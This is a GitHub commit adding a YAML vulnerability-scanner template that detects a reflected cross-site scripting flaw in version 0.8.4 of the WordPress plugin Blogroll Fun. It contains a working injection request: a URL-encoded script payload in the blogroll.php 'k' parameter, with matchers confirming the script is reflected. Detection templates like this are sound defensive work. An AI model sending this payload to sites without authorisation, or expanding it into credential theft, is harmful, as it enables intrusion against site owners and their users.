Create wp-blogroll-fun-xss.yaml

patch-1
Dhiyaneshwaran 2022-08-04 22:21:53 +05:30 committed by GitHub
parent c24499d0e1
commit aa4bec9d62
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: wp-blogroll-fun-xss
info:
name: WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time Cross-Site Scripting (0.8.4)
author: DhiyaneshDK
severity: medium
description: |
WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time version 0.8.4 is vulnerable; prior versions may also be affected.
remediation: Update to plugin version 0.8.5 or latest
reference:
- https://codevigilant.com/disclosure/wp-plugin-blogroll-fun-a3-cross-site-scripting-xss/
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/
metadata:
verified: true
tags: wordpress,wp-plugin,xss,unauth
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
words:
- 'Got: <script>alert(document.domain)</script><br>'
part: body
- type: word
words:
- 'text/html'
part: header
- type: status
status:
- 200